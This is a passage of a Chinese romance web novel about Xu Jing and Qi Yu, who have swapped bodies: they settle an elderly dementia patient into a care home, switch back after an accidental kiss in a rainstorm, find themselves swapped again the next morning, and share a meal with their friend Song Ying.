带有威胁性的目光落在宋楹身上,宋楹见好就收,乖乖闭嘴。
饭香满溢的餐桌上,话题聊到了他们在暴雨夜遇到的老人。
医院那边的意思是明天可以去接老人。
鉴于老人每次看到许暻的身体就会情绪失常,许暻打算让宋楹和她一起去。
“没问题啊,”宋楹咬了口软糯的牛蹄筋,“我周末都休。”
……
天色明净的早晨,初阳半掩在云层里,给绵白的云簇镶了一层薄薄的金边。
许暻把窗帘全部拉开,汲取满载生命力的金光,预报的阴天成了大晴天,心情也跟着畅快不少。
她特意从祁聿的衣柜里挑了一套能压住锋芒的衣服。
白色的长恤,外面一件浅灰色的开衫,下面一条米白的长裤。
她从没见过祁聿有这种穿搭,平时工作除了西装他基本不穿其他的衣服,休息日两人很少见面,偶尔在他爸妈家见到,也是一身灰色的家居服。
和他公寓的装修风格完全不搭边。
她都怀疑他是在日常的搭配上过于单调,被压抑久了,所以独居的家里才会如此放飞自我。
以为祁聿会睡到自然醒,许暻是打算直接出门的。
出了房间,她才闻到客厅里浓烈的苦香——
祁聿在厨房磨黑咖啡。
苦味蔓延进鼻腔里,许暻感觉眉心抽了抽,她根本没喝,就已经清醒不少。
听见响动,他端着还在冒热气的黑咖啡走近,眸光在这一身新奇的装扮上打量一番,又低头抿了口咖啡:“你穿这一身吗?不太正式吧?”
许暻明显不认同他的想法。
她反驳:“本来也不需要太正式,去接奶奶当然得穿近人一些。”
祁聿知道她又开始奉行她“人文”的那一套了,看了眼墙上的挂钟,又转了话口,问她怎么这么早出门。
许暻约了宋楹吃早餐,没打算和祁聿周转,“我约了楹楹,先走了。”
她的动作十分麻利,换鞋、关门一气呵成。
祁聿还站在那里,盯着紧闭的大门看了一会,又喝了口咖啡,舌尖上弥散着浓郁的苦香,他很享受这样的味道。
转身时,他低声轻笑,自语呢喃了句:“会打招呼了。”
……
许暻和宋楹十点钟到了医院。
许暻已经提前准备好了相关资料和手续,老人的主治医生也在。只不过带走老人之前,许暻还需要签字按手印。
一切妥当后,许暻和宋楹被带去了老人所在的病房。
有几天没见到老人,她已经比此前安静许多,医生说她的情绪还算稳定,一般是不会爆发的,只是需要时刻注意,避免让她受刺激,必要时或许要给老人上约束带。
加上暴雨夜那天老人独自从家里走到怡康养老院附近,需要特别警惕老人走失。
医生给她开了些镇静的药,去养老院最重要的就是让老人保持充足的睡眠以及足够的活动量,其余并没有什么特殊要求。
许暻和宋楹相视一眼,轻手轻脚走到老人床前,她双眸空洞地望着前方,像是完全没看到她们一般,呼吸也稍稍沉慢。她的双手垂在腿上,枯瘦的手指紧紧捏在一起。
许暻心口一揪,有些难受——
老人这是没有安全感的表现。
她慢慢蹲下来,轻轻地唤了声:“奶奶。”
声调轻缓,却蕴含了沉重的力量。老人迟疑片刻,那双已经发灰眼仁慢慢转动,视线仿佛在慢慢聚焦,最后落到了许暻身上。
老人又对着她喊阿澄,连着好几声,都带着浓浓的思念。
许暻本以为老人是因为她想起了阿澄,正欲劝说老人和他们一起回养老社区,老人却道:“你是阿澄……阿澄…你回来了阿澄……”
她的嘴唇微微发颤,眉眼向下,眼眶里隐隐含着泪,双手明显想握住许暻。
许暻和宋楹均是一愣。
短暂对视之后,许暻还是把手伸了出去,医生在旁边解释:“老人的痴呆程度很严重,认不清人是常有的事,甚至也可能不分性别,祁先生,恐怕你们还是需要花些心思来照料这位老人的。”
许暻心里更难受,她轻轻回握老人,回应医生:“您放心,我们肯定会的。”
接着又转向老人,用祁聿的嗓音尽量放轻的语气,顺着老人的话说:“奶奶,我是阿澄,我们现在接您回家,您跟我们走好不好?”
老人的情绪并没有激动,也不知道她有没有听懂许暻的话。她没有回应,只是一直握着许暻的手,久久不愿意松开。
见状,宋楹上前一起劝动老人:“奶奶,阿澄来接您回家了!”
宋楹的声音比较大,老人有了些反应,双神动了动,嘴里跟着重复:“回…回家……”
两人跟着一喜,许暻也试探着将老人的腿移下床,宋楹拿起床边她的鞋子给老人套上。
她们有足够的默契,一人一边挽上老人的胳膊,许暻不忘把空出来的那只手放到老人手中:“对,我们回家!”
医生把老人床头柜上的药用袋子装好递给了许暻,然后又嘱咐:“祁先生,麻烦你了,以后老人如果出现什么问题,也可以送到我们医院来。”
“好,谢谢您。”
许暻和宋楹一路哄着老人上车,担心老人在车上会坐不住,许暻陪着老人一起坐在了后座,宋楹在前面开车。
不过老人并没有她们想象中那样,全程都很安分,像是不知道自己在做什么,不知道自己要去哪里,迷茫地看着眼前的景物,只是干皱的手紧紧握着许暻
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一刻不肯松开,嘴里偶尔念几句“阿澄”。
颐安社区内,刘助已经安排好了老人的房间,昨天也提前跟值班的小林打过招呼。
小林带着她们到了二楼最里边那间朝阳的房间,护工已经在里头等候。
小林介绍:“祁总,这是王阿姨,工作经验丰富,十分擅长照料患有老年痴呆的老人,并且心思细腻,面面俱到。”
王阿姨没着急介绍自己,先帮着许暻把老人扶到床边坐下,又问了老人的基本情况之后,这才向许暻保证:“祁总,您放心,老人交给我,完全没问题!”
许暻对王阿姨的第一印象还不错,从她的言行举止也能看出她很负责,她点了点头,又在老人身旁俯下身。
虽然换了一个环境,老人却没有太大的反应,松开许暻的手之后,她更是一句话也不说,就呆呆地坐在床上,和在医院时没什么两样。
许暻问:“奶奶,您喜欢这里吗?”
老人回复她的,仍然只有“阿澄”两个字。
许暻明显地失落,宋楹安慰道:“没事,奶奶才出院,又换了新地方,肯定要时间适应的,之后我有时间了过来帮奶奶做做中医治疗,没准她也能好些。”
“是啊祁总,”王阿姨附和,“老人肯定是需要时间适应的,我每天陪老人说说话,时间久了肯定会有好转!”
许暻明白急不来,她带老人来这里就是想给她一个舒适的生活环境,至于老人身上到底有什么秘密,都是其次,她嗯了一声:“麻烦你了王阿姨。”
她们在社区里陪了老人一天。
和王阿姨一起带着老人吃饭、活动,老人虽然不说话,但行动还是配合的,没有哭闹,也没有情绪失常。
看着老人没事,许暻才放了心。
把宋楹送回了家,她才准备走。
天气隐隐有变,上午晴好的阳光到下午就完全消失了,阴沉沉的,这会还在刮风,宋楹临走时嘱咐:“小暻,你到家了给我报备一声啊,这天气看着要变,路上注意安全!”
最初许暻只觉得是小事,然而车子开了十分钟后,云层上一声巨响,像是要把云都炸散,许暻一个激灵,心口一跳,隐隐有种不好的感觉。
紧接着,车窗上大大小小的雨点一起砸下,瞬间模糊了窗外的景色,许暻连忙开了雨刮器,又降了车速。
又是突如其来的暴雨。
就像她和祁聿灵魂互换那一晚。
许暻咽了咽口水,尽量让自己集中注意力,什么都不想,可频繁的雨声却一直扰乱她的思绪。
蓦地,车在平地上震了两下,再踩油门时,车已经不动了。
“……”
好在后面没车,许暻拿了备用伞下车去看,发现是车胎爆了。
无奈,她只好打电话找救援。
结果手机没电关机了。
凶猛的雨水顺着伞骨而下,又被风吹向她的身体,衣服也湿了大半。
所有事赶到一起,许暻的动作稍显慌乱。
这个暴雨天对她而言就像是什么魔咒一般,遇上了就没有好事。
周围的车流几乎都绕过她的车,车里的人都想逃离暴雨赶快回家,许暻自然也没法求助。
正想着要不要沿路走回宋楹家,前方突然闪过来两行车灯柱。
许暻被强光刺得眯住眼。
再定神时,她看到了熟悉的车牌号。
17. 氧气+17
祁聿本来是在家处理自己的一点私事,眼看着时间越来越晚,许暻还没回来,他打了电话过去。
电话那头却关了机。
看着天气不太对,祁聿直接套了件外衣出门,头发也是随便一绑。
他已经联系过宋楹,宋楹说许暻才把她送回家,刚走没多久。
祁聿沿着去宋楹家的路,一路找寻许暻的车。没走多久,暴雨突袭,黑夜模糊又混沌,祁聿加快了车速。
好在许暻开着双闪,车停在不算偏僻的路段,他很快找到了她。
许暻也注意到停在不远处的车。
尽管逆着灯光,许暻还是看清了朦胧雨幕中的那个人。
皮囊是她‘自己’,却也是他。
一种异常的情绪悄悄爬上心头,像是无形中有条藤蔓缓缓缠绕她的心脏,蔓条的尾端在心口来回扫动,掀起模糊的痒意。
等它摆弄够了,又直接往里延伸,在心尖顶出一个小口,让里头被包裹的甜丝一点点往外冒,随着心脏的一次次跳动,浸润全身的血液和神经。
许暻看见他没有那伞,在暴雨中穿梭而来,站定在她身前。
然后听见他急促的声音在耳边响起:“人没事吧?”
许暻没有很快回答,双眸盯着前方,停顿片刻,然后缓慢地眨了两下。
撑着伞的手往前移了移,一同挡住了他头上的雨柱。
豆大的雨滴不间断地往伞上砸,遮掩了许多嘈杂的声音,此时此刻胸腔里逐渐加快的心跳声便十分清晰。
许暻终于摇了摇头,语气也不再那么强硬。
“你怎么来了?”
祁聿明显松了口气,看了眼车内的情况,拔了车钥匙,“天气不好,我打你电话是关机的,以为你出事了。”
许暻抿了抿唇,解释说车胎爆了。祁聿又叫了拖车过来,然后拉着许暻上自己的车。
临走前,许暻又顿住脚步,重新回车里,拿走了储物箱里的怀表才跟着他上车。
衣服被雨水淋湿大半,混着冷风,一股脑儿地粘在身上,许暻感觉就算是祁聿的身体也遭不住这样的冰冷,露在外面的两只手基本没什么血色。
好在祁聿把车里的暖气开得很足,她紧合的牙关也慢慢松开。
祁聿瞥了她一眼,问:“你车上有备毛巾吗?”
自从互换之后,他们连车也互换了。
可惜许暻没这个习惯,她摇头:“没有。”
两只手放在大腿上时不时磨搓一会,靠着摩擦生热。
十字路口前,祁聿直接拿了扔在后座的外套给她:“虽然是你的衣服,但这会也没办法了,就用这个擦吧。”
他的语气很淡,刚才的急促也一扫而空,恢复如常。
“哦……”许暻用干净的外套一点一点擦干了脸上的雨水。
她很想说些什么,明明刚才站在雨中她还有一肚子的抱怨,还犹豫着要不要去宋楹那里一吐为快。
然而此刻在祁聿面前,她一句话都说不出来。
她甚至不明白为什么,只知道现在的状态不对,习惯面对祁聿的那股劲突然不见了,所用来防御的毒舌也消失了。
许暻低着头,舌头顶了顶上颌,莫名惶恐。
她明明不紧张,心脏却依然跳得很快,甚至一下快过一下。
就算是祁聿身体素质差,前几天也不会如此。
倏尔,祁聿的声音在相对狭窄的车内响起:“给宋楹回个电话吧,她很担心你。”
飘远的思绪终于回笼,许暻无暇再想其他,给宋楹报了平安。
之后,许暻的注意力一直在窗外的暴雨上。
虽然雨如倾盆,但除了最开始的那一声炸雷,之后便完全没了打雷的动静。
许暻紧握手里的那块怀表,一路上隐隐期待着雷声袭来。
然而天气并没有称她的意。
车已经顺利开到了停车场,也没有任何奇怪的迹象。
祁聿下了车,暴雨在车上留下了潮湿的痕迹,沿着车身往下落,形成了一个大水圈包裹在车辆周围。
许暻坐得大腿发麻,下车的速度也慢了不少。
祁聿过来帮她拉开了车门,问:“不舒服?”
两条腿慢慢抬起,许暻摇头,刚迈出去,祁聿也恰好往前一步。
她的腿不小心踢到他,脚下的雨水降低了摩擦力,步子往后滑,祁聿没能站稳。
整个人没有任何预兆地往前一扑。
许暻被面前的人撞过来,身体不受控地往后一倒,她听见什么东西传出响动,随后肩膀被狠狠捏住。
瞳孔骤缩,许暻下意识捏紧了手中的怀表。
下一秒,她感觉头磕到了主驾驶座的椅背上,接着往后倒去,肩背抵在了中控台,身上被祁聿压着,动弹不得。
更要命的是——
嘴上被一抹柔软紧紧贴住。
许暻根本来不及反应,大脑完全空白,只有一双瞳眸瞪大、再瞪大。
一阵熟悉的眩晕袭来,她也没能看清身上那人是什么神情。
脑中天旋地转,耳边恍惚地响起暴雨声,许暻感觉自己好像进入了梦境,熟悉的钟声再度混杂在暴雨声里,回荡在她的耳际。
她彻底失去了意识。
祁聿也没了动静。
车内还开着灯,车门大开,驾驶座上叠着两道身影。
车里有些乱,挡风玻璃下外套被随意放在那里,储物箱被震开了一道小口。
依稀能看清,里面放着祁聿的怀表。
……
许暻不知道自己到底昏了多久。
思绪很乱,她很想快些醒来。
周围好像一片安静,又好像能听得见暴雨声。
空气里还弥漫着她熟悉的雪松香。
当然,还有她讨厌的苦咖啡味道。
许暻下意识蹙眉,然后很快听见了那道熟悉的、低沉的男声:“许暻?”
意识逐渐清晰,虽然闭着眼,但她已经能感受到有灯光照在脸上。
睫毛轻轻扇动,眼珠转了好几圈,眼睑合上的缝终于慢慢打开。
她看见眼前一道模糊的身影俯身站在那里,似乎在等着她醒来。
视线聚焦,她看清了那人。
是祁聿。
“醒了?”祁聿身上还是她早上出门挑的那套衣服。
语言系统最先恢复,她顺着话回应:“醒了……”
半分钟后,她意识到了不对劲。
整个人猛地坐直身子,看了看祁聿,又看了看自己——
她
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的声音变回来了、长发回来了、手脚也变小了,而且祁聿是在他自己的身体里!
他们换回来了!
双眸骤然发亮,许暻猛地站起身,嘴角压制不住地上扬,微浅的弧度瞬间加深,露出一排整齐的牙齿,是她发自内心的笑。
“我们真的换回来了!太好了!”语气难以控制地激动起来,此刻脑中疯狂分泌着多巴胺,愉悦占据了所有。
祁聿一直沉默着,看着她笑,他的唇角也跟着扯了扯,眼底却没有半分笑意,神绪复杂。
没有附和的开心持续不了多久,许暻见祁聿的神色不太对,嘴角的弧度又慢慢消失,她不解问:“怎么了,换回来你不高兴?”
祁聿没回答,侧身指了指茶几上的水,声音冷冷的:“刚刚倒的热水,喝了就去洗澡吧。”
但此刻换回来了,许暻想的第一件事就是回自己家。她摇头:“我现在去收拾行李,我直接回家洗。”
祁聿又沉默了很久。
许暻看到他的喉结滚了滚,不知怎的自己也跟着咽口水。
“明天再回去也不迟,还下着暴雨。”祁聿的语气更冷:“而且…衣服太多,一时半会也收拾不完。”
他说的是上次她新买的那些。
许暻是有些纠结的,不过考虑到他说得没错,这么晚了,又是暴雨,万一又碰上点意外呢?
反正也不是第一次在这里过夜了。
许暻最后选择了留下来。
就是不知道为什么,祁聿好像一直不怎么开心的样子。
短暂的困惑之后,许暻很快把问题抛到脑后——
以前他也经常这样冷冷的,虽然互换之后偶尔抽风,但冷淡才是他的常态,况且换回来了,哪里还有理由不开心?
许暻畅畅快快地洗了个热水澡,重新睡回粉色小猪的床上,她竟感觉异常舒服。
激动的心情此刻已经沉淀下来,她脑海中不自觉地回想她和祁聿换回来之前的画面。
当时她准备下车,祁聿过来帮她开车门,结果他滑倒了,然后……
他们接吻了。
接着脑中一片眩晕,她又听到了暴雨声和那阵莫名其妙的钟声,醒来时,他们就换回来了。
祁聿应该比她先醒来,带她回了家。
暴雨声还说得过去,钟声又是哪里来的?
停车场怎么会有钟声?她的怀表也没办法发出这样的声音来啊。
而且他们真的是因为接吻才换回来的?
是不是太荒谬了些?
思绪开始乱窜,大脑自动想起当时嘴上柔软的触感,还有混杂在一起的鼻息,不断喷洒向她的热意……
许暻的耳根越来越红,脸颊也开始发烫,还有她在祁聿的身体里已经熟悉的心脏撞击胸壁的声音,越来越快、越来越快。
身体的温度时间攀升,大脑也跟着宕了机。许暻莫名慌乱、心虚,干脆扯过被子,往头上一蒙。
她还是不要想那么多了。
一个意外的吻而已,有什么大不了?
他们都已经换回来了,她还想那么多做什么?
强迫自己不再去想,最后在温暖的被窝里沉沉睡去。
然而许暻怎么也没想到,第二天早上醒来时,她并不在粉色小猪的床上。
18. 氧气+18
和那天她醒来的房间很像,灰调的墙壁,干净整洁的灰色床单,上面有清冽的雪松香。
以及…那种熟悉的感觉又回来了。
许暻觉得不对,猛地坐起来。掀开被子,一双熟悉的长腿横在她眼前,她又抬起手,发现又变回了祁聿的手。
双眉猝然紧皱,许暻想要去摸原本属于她的长发,触及手心的却是祁聿的利落的短发。
再往下移,是祁聿突出的眉骨,眼角深邃、鼻梁高挺,还有圆滚的喉结。
“不是……”从嘴里发出的声音,又变回了深沉的男声。
她又和祁聿互换了?!
不可能、肯定不可能!
许暻迅速下了床,连拖鞋也没穿,大步跨进了房间里的卫浴。
清晰的镜面悬在敞净的洗手间里,只需要一眼,就能看清镜子里的人。
看着那张熟悉的面孔,皱眉的动作愈发深紧,眼底弥漫着浓烈的不可置信。
许暻完全不相信自己看到的事实。
她一定是这几天扮演祁聿扮演习惯了,她一定是还在做梦!
水龙头被拧开,水流均匀汇出,许暻用双手接了好几捧冷水,尽数浇在了脸上,试图让自己清醒过来。
可再次看向镜子里,映照出来的仍然是祁聿的模样。
她还是不相信,光着脚去了客厅。
客厅里依然飘着熟悉的咖啡苦香。
祁聿正占据着她的身体,悠闲地磨咖啡。
许暻怒冲冲地跑到他跟前:“为什么我们又互换了?!”
昨晚祁聿脸上的冷淡一扫而空,此刻看上去心情倒是不错。
他耸耸肩道:“不知道。”
然后没了下文。
不同于上一次是在电话里,许暻直接抢过他手里的咖啡杯,挡在咖啡机前面:“然后呢?你就一点不着急?你还想不想换回去了?”
一连三个问题,祁聿仍然满脸平静,他又从侧边拿了新的咖啡杯。
“你要来一杯吗?”
祁聿不接她的话,许暻干脆把他刚接好的黑咖啡一饮而尽,一滴也不给他留。
然而咖啡入喉的那一刻她便后悔了。
肠子都悔青了。
浓郁的苦涩瞬间在嘴里蔓延,她甚至觉得整个食道中全是苦味。
五官瞬间挤在一起,许暻忍不住龇牙,凉气倒吸了一口又一口。
“你真是变态啊,这么苦……”
她把杯子强硬塞回祁聿手中,跑去了卫生间漱口。
几声呛咳混着几声“变态”传出来,许暻一点没忍,故意让祁聿听到。
再出来时,她紧蹙着眉,又当着他的面骂了句:“变态!”
祁聿却被她逗笑,拿了一杯牛奶给她,解释:“哪有一口全灌进去的喝法?”
许暻撇撇嘴,没好气地接过牛奶。
她双手掐腰,郑重其事道:“这不是重点,重点是我们怎么换回来!”
按理来说她今早应该拖着行李走人,而不是站在这里和他讨论黑咖啡怎么喝。
祁聿沉了口气,拉开了餐桌旁的凳子,不紧不慢地吹了吹他重新接的咖啡,抿了一口。
心满意足之后,他才回答许暻:“想要换回来,想想昨晚不就好了?”
昨晚……
他的话语自动牵扯着许暻回想在停车场的画面。
一边想象,一边转述。
“昨晚在下暴雨,你去接我,回来之后你帮我开车门,然后你摔倒在我身上,然后我们……”
话没说完,许暻下意识抬眸,恰好对上祁聿的眸子,声音戛然而止。
气氛突然尴尬。
后面的话像是被堵了块石头在那里,半天说不出口。
她看到祁聿的眼神突然变得好奇怪。
明明总是冷峻傲然的瞳眸中好似被扔了一颗火苗进去,火势越来越大,烧得有些灼热。
许暻心口一紧,尴尬地避开他的视线,手中的牛奶瓶滚了一圈又一圈。
心里开始纠结要不要继续往下说。
说出来,她和祁聿都尴尬。
不说,他们还怎么商量换回去?
片刻的犹豫之后,许暻硬着头皮继续:“昨天我们…我们不小心接吻了,然后我好像在梦里听见了暴雨声还有钟声,之后就完全没意识了!”
一句话像是烫嘴一般,被许暻着急地吐完。
她始终不敢对上祁聿的视线,桌下的两只脚紧贴在一起,脚趾蜷缩。
餐桌上有几秒钟的安静,她只听见了祁聿呼吸时发出的声响。
他和她之间明明有些距离,她却感觉祁聿喷洒出来的热气全到了她的身上,就像昨晚……
在许暻以为自己也要跟着灼热起来时,祁聿把凳子往她身边挪了挪。
“所以你要不要再试试?”
“啊?”许暻闻言抬眸,却不知道他要试什么。
祁聿的眼眸中火势依旧,他低头一笑,嘴角荡起深深的弧度。
再看向她时,眸中多了点别样的味道。
许暻看不懂,却嗅到了一丝危机。
“当然是…和我接吻。”
“不要!”许暻想都没想直接拒绝,手指交缠在一起,眼珠漫无目的地乱转。
“昨天还下着暴雨呢…而且我还听见有钟声……”
比起接吻,还是暴雨和钟声更有说服力一点。
“你不是说那是梦境?”祁聿侧了侧头,一手撑着下巴,嘴边笑意未减。
“……”
许暻一不小心卡了壳,思绪又很乱。
紧接着祁聿又靠近了些,声音被压得很低,虽然是她的嗓音,可许暻还是听得心痒痒:“难道你不想换回去吗?万一真是接吻能让我们换回去呢?”
“……”
许暻的脚趾缩得更紧,两只手放在大腿上,死死揪着衣角,脖子都已经憋红了。
话凝在了嘴边,说不出口。她只看到祁聿越靠越近、越靠越近。
要不就试试?
万一真换回来了,接个吻有什么大不了?
就是嘴唇贴一下而已,就当不张嘴的人工呼吸了。
她的默许似乎被祁聿读懂了,祁聿伸手一勾,手掌紧扣她的后脑勺。
下一秒,嘴唇再一次贴在了一起。
许暻慌乱地眨着眼睛,等待着身体的反应,尽量去忽略接吻的感觉。
可大脑跟不受控似的,疯狂释放错误信号,让她的心跳越来越快。
半分钟后,仍然没有任何眩晕的感觉。
只有唇上的温度越来越高,祁聿似乎想有进一步的动作。许暻一慌,猛地推开他。
“这招没用!我不试了!”
她不安逃离,迅速逃回房间锁上房门,一头扎进了粉色小猪的怀抱。
全身的血液都在此刻沸腾涌动,窜过身体的每一处,心跳声跟打鼓似的剧烈又急促。耳尖、额头、手脚,没有一处是不烫的。
这是她从来没有过的反应。
许暻还不断地暗示自己:正常人都会有这种反应的,她没跟人接过吻,所以才会这么慌乱,跟那人是谁没有关系。他们只是为了想换回去才会尝试接吻的,所以并不能代表什么。
他们只是尝试了一个失败的方法而已…只是尝试了一个失败的方法而已……
餐厅里,祁聿一手端着咖啡,一手捏着耳垂,拇指在耳垂后方来回摩挲,耳根隐隐发红。
黑咖啡的面上倒映出上扬的嘴角,他盯着倒映出的面容看了又看,从额头到鼻子到嘴唇再到下巴,每一个细节都看得仔仔细细。
蓦地,他把剩余的咖啡全部喝完,重新站起身,情绪已经收敛了些,他去敲了许暻的房门。
“许暻。”
里头没动静。
他又敲了几下:“许暻?”
声音透过房门闷闷地传出,听上去她像是裹在被子里。
祁聿宛若什么事都没发生过一样,问她要不要吃早餐。
许暻本来就还有情绪,刚想说不吃,但肚子却不争气地叫了。
“……”
短暂的纠结之后,许暻撑着床重新起来,两只手拍了拍脸颊,试图让自己换个情绪。
反正门外那人都能这么平淡地来找她吃早餐,她又有什么好心虚、好在意的?
许暻深吸了口气,因为祁聿的反应瞬间说服了自己,她畅快地吐出那口气,回应门外的人:“吃!”
……
半个小时之后,祁聿做好了两碗番茄鸡蛋百合面。
许暻知道他会做饭,只不过从来没吃过。
卖相看上去还不错,许暻夹了一小筷子尝了一口,酸甜的番茄味很快占据了整个口腔,是她喜欢的味道。
一吃起东西,她倒是真的将刚才的事情全部抛到脑后,连互换也没那么在意了。
不知道是想通了还是认命了,许暻边吃边说:“下次还是别轻易尝试这种有概率的办法了,你看两次都下暴雨了,我觉得就是因为暴雨天才互换的。”
祁聿嘴里咀嚼的动作稍稍一顿,目光在她身上停留一瞬,没说话。
肚子被慢慢填饱,许暻的心情也跟着好了不少。埋头干饭时,脑海中突然窜过今早醒来的画面。
她吞下了嘴里的食物,坐直身子,不住吐槽:“对了,我今早在你房
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间醒来,你明明把你自己的房间弄得人模人样,为什么我睡的房间就是粉色小猪?还有这些花里胡哨的亮色家具,祁总,你怎么想的?”
她看到祁聿挑了挑眉,十分坦然摊了摊手:“本来两个房间我是打算换着睡的,毕竟看久了也会腻,所以给自己准备了两种风格,许总如果更喜欢我住的房间,我也可以让给你。”
最后一句话他的语气轻飘飘的,总让许暻觉得有一丝不正经。
她干脆拒绝:“不必,我对祁总的房间没兴趣。”
人在屋檐下,有的住就行,欠他的人情欠多了,以后换回来的时候就更麻烦。
话音刚落,许暻的手机响了。
是宋楹。
她今天在家没什么事,特地买了很多菜,打算大展拳脚,好好做顿饭。
只是一个人吃太没意思,所以特意来叫上他们俩。
许暻自然是答应的,只是她没想到祁聿也爽快答应了。
她还以为他会一个人待在家里去捣鼓他的电子产品。
早餐之后,两人直接去了宋楹家帮忙。
只是刚到,许暻突然收到了祁聿手机上的一封邮件,是刘助发来的最近颐安的一项研究,关乎到一个项目的发展,需要祁聿加急核对签字,于是祁聿去了宋楹的书房处理工作。
许暻和宋楹在厨房里备菜。
单独和宋楹待在一块儿,许暻自然地吐起了昨晚的苦水:“昨晚真是倒霉透了,又是遇上暴雨又是车突然爆胎,手机还突然没电,我当时都想顶着暴雨往回走了。”
宋楹笑了笑,用胳膊肘顶了顶她,“那祁聿不是顶着大暴雨出来找你了吗?”
昨晚报平安的时候宋楹没多问,现在抓着机会了,自然不会轻易放过。
“怎样,昨晚有没有一种幸运突然降临的感觉,你看啊,你被暴雨困在半路,找不到人求助,但是祁聿他就刚好找到了你,把你带回去。”宋楹津津有味地分析,一双眼睛里藏着兴奋的光点。
许暻却跟听不进去似的,她撇撇嘴,还能回想起昨晚到今早大起大落的心情。
手上清洗蔬菜的动作都带了些情绪,她愤愤道:“什么呀,你都不知道,昨晚我俩都换回去了,结果今早又变回原样了,我都替自己可惜!”
宋楹一愣,眼底的兴奋又在顷刻间转为惊讶,“你们俩换回去了?那怎么现在又……”
许暻无奈叹了声气,跟她解释了整个经过,只是她省略了今早两人再次尝试接吻换回来的事情。
“你们真的亲了?!”宋楹整个人往许暻跟前跳了跳,音调也升高了许多,惊讶重新被兴奋取代,嘴上漫出八卦的笑。
许暻下意识捂住她的嘴,食指放在唇边‘嘘’了一声,往厨房外瞥了一眼,好在厨房门是关着的,外面应该听不到。
“你别这么大声行不行,本来就已经很尴尬了,而且这不叫亲,这只是一个换回来的方法而已。”
闻言,宋楹‘嘁’了一声,她知道许暻又开始说服自己了,直接拆穿:“亲就亲了,坦诚面对,没什么可尴尬的。”
她又接着问:“那你们怎么又互换了?”
许暻耸着肩,把洗好的菜放进干净的盆里,“谁知道呢?一觉睡醒就这样了,我本来今天都打算收拾行李回来了,谁知道是我想太早了。”
宋楹眯着眼,边切肉边给许暻出主意:“那你们可以再试试啊,说不定再亲一次就又换回来了呢?”
宋楹不像是在说笑,却也没那么正经。
许暻帮她和料汁,沉了口气,下意识反驳:“试了没用啊,你不知道今天早上……”
话出去一半,她反应过来嘴快了,抿起唇,没有再说下去的打算。
然而宋楹却已经懂了,颇有深意地“哦”的一声,拉着长长的尾音,手里的刀也停了下来,“今天早上看来有精彩的事哦?”
许暻好不容易才略过了早上的尴尬,现在重新提起,她又心虚起来,嘴上依旧反驳:“没有没有,什么精彩都没有,你别乱想,也别乱说啊!”
许暻明显想转移宋楹的注意力,催促她赶快切肉。宋楹顺了她的意,没有再追问,不过心里已经了然大半。
厨房里终于消停了些,两人差不多也备完了菜,打算先歇会。
祁聿也从书房出来,手里还拿着许暻的手机。
只不过他的面色有些僵硬,嘴角微微下沉,他直接走到许暻跟前,把手机给她:“刚才有人给你打电话,还给你发了很多消息。”
“谁啊?”许暻不明所以地接过手机。
祁聿沉默两秒,似乎有些不情不愿地吐出三个字:“周擎越。”
“师兄?”
19. 氧气+19
“周大哥?他要回来了?”宋楹也凑了过来。
她还以为周擎越这一趟要走很久,没想到才一年不到就要回来了。
许暻接过手机,看到周擎越给她发的消息。
「小暻,我这几天在收拾行李,打算回国了。」
「养老院最近还好吗?你一个人压力肯定很大吧?我大概周二下午就会到淮北。」
「到时候我订个餐厅,把叔叔阿姨也接上,咱们一家人好好聚一聚。」
祁聿的声音在耳边响起,“他在电话里说周二下午回来,问你有没有时间去接他。”
许暻本想答应周擎越,又想起现在在她身体里的人是祁聿,视线重新汇聚在他身上,她试探性问:“你怎么说的?”
祁聿说没有给他明确的答复,要看之后的行程安排才能确定。
这个回答倒是没问题,许暻又问:“那你周二愿意去接他吗?”
对面的人沉默了一会儿,许暻以为他在想怎么拒绝,正准备算了,反正让祁聿去又倒欠他人情。
然而祁聿答应了。
他既然愿意,那也再好不过。
……
休息的时间总是像流沙,消逝得太快。
等他们围在餐桌旁,已经临近下午一点。
宋楹这些年除了工作,在家的日子就是精进厨艺。倒也没有太明确的目的,就是转移注意力、消磨消磨时间。
许暻工作总是很忙,餐食基本都在养老院解决,她们虽然常常见面,却难得碰上两人都休息的日子,也鲜少这么坐下来好好吃顿饭。
没想到在许暻和祁聿互换之后,赶上了这么一个机会。
上一次在祁聿家里,宋楹就十分感慨。
今天再围在一起,又是百感交集。她给许暻和祁聿倒了果汁,然后提杯:“我们真的很久都没有这样吃过一顿饭了,还记得那会在大学里,我们经常围在食堂的小餐桌上,哪怕是简单的饭菜,也吃得很有趣。”
而且当时,餐桌上还有那个人。
“小暻、祁聿,我们来碰一个,谢谢你们今天过来陪我。”宋楹的语气到最后竟有些哽咽起来。
许暻其实懂她的心情,宋楹虽然在工作时是很理性的,但在生活里又是十分感性的一个人。
她会因为朋友的出现欣喜异常,也会因为朋友突然的离开泪流满面;她会因为一个人吃饭觉得孤独单调,又会因为和朋友一起吃饭高兴很久。
在路边看到可怜的流浪狗,她会专门跑到几公里外的便利店给小狗买食物回来,又会在有人需要帮助的时候大方伸出援手。
她从小在充满爱的家庭里长大,本应该很坚强,却因为那个人的突然消失开始变得很没有安全感、害怕孤单。
许暻没有任何犹豫地和她碰了杯,心里些微难受,空出来的手拍了拍她的肩,“以后你休息,我调休过来陪你!”
祁聿的杯子也碰了过来,只不过他没有许暻那么了解宋楹,误会了宋楹的心情:“在医院做得不开心?大不了辞职,我们颐安还挺缺研发人员的。”
闻言,宋楹嗤笑一声,放下杯子。
她摇头笑了笑,视线和许暻交汇片刻:“不用了祁总,我在医院干得挺开心的,毕竟这是我的梦想嘛,总有一天,我要当上神外的主任医师。”
稍许凝重的氛围又很快轻快起来,宋楹恢复常态,依旧调动着桌上的气氛。
虽然许暻提前‘威胁’过她,让她不准提接吻的事,但宋楹却另辟蹊径,开始打探祁聿的个人问题。
祁聿没有明确回答,也没有跳过,态度十分含糊,跟着宋楹的话绕圈。
最后宋楹觉得没意思,也干脆不问了。
一直到晚饭之后,许暻和祁聿打算走,结果迎面撞上过来看女儿的许父许母。
许暻先踏出了门外,一看到是自己爸妈,想也没想便脱口而出:“爸妈?你们怎么过来了?”
全然忘了她在祁聿的身体里。
许父许母一惊,两双眸子愣愣地相视一眼,又有些茫然地转了回来。
许母干笑两声:“阿聿,你也过来看小暻和楹楹?”
许暻这才反应过来,手掌下意识抬起,想捂住唇,嘴唇无助地张了张,着急找补,语气忐忑:
“不是,叔叔阿姨…我一时嘴快,对!我是来找她们的……”
然后一把将祁聿推到前面,自己往后躲。宋楹幸灾乐祸地笑了笑,跟许父许母打了招呼。
祁聿已经换好了鞋,略显生疏地叫了声“爸妈”。
